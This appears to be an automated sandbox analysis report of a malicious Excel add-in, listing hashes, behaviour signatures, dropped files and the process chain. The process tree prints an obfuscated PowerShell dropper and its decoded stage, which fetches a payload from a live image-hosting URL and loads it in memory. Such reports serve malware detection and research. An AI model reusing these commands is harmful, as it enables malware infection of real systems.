Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    16-08-2023 01:44

General

  • Target

    fc827d0192f306a883a34b6e3a126ee398d98e6bb9b7cd6d549ed3e316d553c9.xlam

  • Size

    1.1MB

  • MD5

    8596666635944f948a32b4247be77209

  • SHA1

    162c543cb26b552e7e283c89dc624cfa9458d929

  • SHA256

    fc827d0192f306a883a34b6e3a126ee398d98e6bb9b7cd6d549ed3e316d553c9

  • SHA512

    76ac60f6ca0b160bc5883cf143a2c080346454c6fad6895c8d6a2c8c964c1276a64aa481e2a18515acbb23981d7c6422e44768621f2cd0597f62300e044e6a3b

  • SSDEEP

    12288:akeG411Ie6y67lvHPK2JW9p/4hEK0zPKPw3nL+0RsUHoH0tT/M2ZZuj5/2jdcNot:aF56y6k2JMp4EK0EwvM0F/MDR2jGNot

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

exe.dropper

https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fc827d0192f306a883a34b6e3a126ee398d98e6bb9b7cd6d549ed3e316d553c9.xlam
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2216
  • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
    "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
    1⤵
    • Blocklisted process makes network request
    • Launches Equation Editor
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\gjthtedgetr.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#LgBm#@$#Gg#@$#Z#@$#By#@$#GY#@$#aQ#@$#v#@$#G4#@$#dg#@$#v#@$#HM#@$#cwBh#@$#HM#@$#LwBj#@$#Gk#@$#b#@$#Bi#@$#HU#@$#c#@$##@$#v#@$#GQ#@$#bQ#@$#u#@$#HQ#@$#bgBl#@$#HI#@$#ZQBn#@$#Gk#@$#cgBm#@$#GU#@$#cgBr#@$#HI#@$#bwB5#@$#C8#@$#Lw#@$#6#@$#H#@$##@$#d#@$#B0#@$#Gg#@$#Jw#@$#p#@$#Ds#@$#J#@$#Bt#@$#GU#@$#d#@$#Bo#@$#G8#@$#Z#@$##@$#u#@$#Ek#@$#bgB2#@$#G8#@$#awBl#@$#Cg#@$#J#@$#Bu#@$#HU#@$#b#@$#Bs#@$#Cw#@$#I#@$##@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#Ck#@$#';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.fhdrfi/nv/ssas/cilbup/dm.tneregirferkroy//:ptth');$method.Invoke($null, $arguments)"
          4⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2372

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    af77d9f560293c3907e68cac25ebf67c

    SHA1

    c8e86f4ac9323705043c974030454847a38ba09e

    SHA256

    398987d970ce3c360a3025712c6af0ac3f2b28d1be276182fb31a6f5b76383d5

    SHA512

    f1cfaed8a05280984f1a4d15d65e7a977b814e0852c12ac690734bcc1ec88f7f36ceb940ef7419e813f7da67a9145b474a7458baa5c79388b2354480fa1c7168

  • C:\Users\Admin\AppData\Local\Temp\CabB608.tmp

    Filesize

    62KB

    MD5

    3ac860860707baaf32469fa7cc7c0192

    SHA1

    c33c2acdaba0e6fa41fd2f00f186804722477639

    SHA256

    d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

    SHA512

    d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

  • C:\Users\Admin\AppData\Local\Temp\TarB86C.tmp

    Filesize

    164KB

    MD5

    4ff65ad929cd9a367680e0e5b1c08166

    SHA1

    c0af0d4396bd1f15c45f39d3b849ba444233b3a2

    SHA256

    c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

    SHA512

    f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W4ER5GCYT4S2C4LLP6VN.temp

    Filesize

    7KB

    MD5

    05f90fffd683ebdb7b494a4ccab66e5c

    SHA1

    c1252b1a3cf8c3a849b6c4faed6b4f3b3c3b3eaf

    SHA256

    5a4702c771881784808abb3c8d60668ccaa9e712a4ead73e8e9b8c7991280f41

    SHA512

    4e94a7defa98a809eaa170f8432b0f85680afcd006b852c6cb5dd0053fcb7164e214e6c59e3278680e5c1e5d1a8e6bb94fa02c481ddd54e60669cce691a4a304

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    05f90fffd683ebdb7b494a4ccab66e5c

    SHA1

    c1252b1a3cf8c3a849b6c4faed6b4f3b3c3b3eaf

    SHA256

    5a4702c771881784808abb3c8d60668ccaa9e712a4ead73e8e9b8c7991280f41

    SHA512

    4e94a7defa98a809eaa170f8432b0f85680afcd006b852c6cb5dd0053fcb7164e214e6c59e3278680e5c1e5d1a8e6bb94fa02c481ddd54e60669cce691a4a304

  • C:\Users\Admin\AppData\Roaming\gjthtedgetr.vbs

    Filesize

    221KB

    MD5

    adfb2542eda28643c7c7b1995a3fb8db

    SHA1

    962cfff213be6fbc74160720874f12438a3f5bb0

    SHA256

    bddf0cbc4dded1c51b850c7b975130a2899259b9f18a6f8c8eada12dc2aec4c4

    SHA512

    bf5fdfb72ba4a602207bdc29cd65e0e356ed7f2a6f75cc5fb5361e6494e607c44d27dc4f50e6af5416b3a574c98b6c28f657e4a8b03a592c3665365d27be0bd3

  • C:\Users\Admin\AppData\Roaming\gjthtedgetr.vbs

    Filesize

    221KB

    MD5

    adfb2542eda28643c7c7b1995a3fb8db

    SHA1

    962cfff213be6fbc74160720874f12438a3f5bb0

    SHA256

    bddf0cbc4dded1c51b850c7b975130a2899259b9f18a6f8c8eada12dc2aec4c4

    SHA512

    bf5fdfb72ba4a602207bdc29cd65e0e356ed7f2a6f75cc5fb5361e6494e607c44d27dc4f50e6af5416b3a574c98b6c28f657e4a8b03a592c3665365d27be0bd3

  • memory/2216-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2216-55-0x000000007348D000-0x0000000073498000-memory.dmp

    Filesize

    44KB

  • memory/2216-158-0x000000007348D000-0x0000000073498000-memory.dmp

    Filesize

    44KB

  • memory/2216-157-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2216-79-0x000000007348D000-0x0000000073498000-memory.dmp

    Filesize

    44KB

  • memory/2372-75-0x000000006BF60000-0x000000006C50B000-memory.dmp

    Filesize

    5.7MB

  • memory/2372-154-0x000000006BF60000-0x000000006C50B000-memory.dmp

    Filesize

    5.7MB

  • memory/2372-78-0x0000000002730000-0x0000000002770000-memory.dmp

    Filesize

    256KB

  • memory/2372-76-0x0000000002730000-0x0000000002770000-memory.dmp

    Filesize

    256KB

  • memory/2372-77-0x000000006BF60000-0x000000006C50B000-memory.dmp

    Filesize

    5.7MB

  • memory/2860-80-0x000000006BF60000-0x000000006C50B000-memory.dmp

    Filesize

    5.7MB

  • memory/2860-68-0x0000000002600000-0x0000000002640000-memory.dmp

    Filesize

    256KB

  • memory/2860-67-0x0000000002600000-0x0000000002640000-memory.dmp

    Filesize

    256KB

  • memory/2860-143-0x0000000002600000-0x0000000002640000-memory.dmp

    Filesize

    256KB

  • memory/2860-153-0x0000000002600000-0x0000000002640000-memory.dmp

    Filesize

    256KB

  • memory/2860-69-0x0000000002600000-0x0000000002640000-memory.dmp

    Filesize

    256KB

  • memory/2860-155-0x000000006BF60000-0x000000006C50B000-memory.dmp

    Filesize

    5.7MB

  • memory/2860-66-0x000000006BF60000-0x000000006C50B000-memory.dmp

    Filesize

    5.7MB

  • memory/2860-65-0x000000006BF60000-0x000000006C50B000-memory.dmp

    Filesize

    5.7MB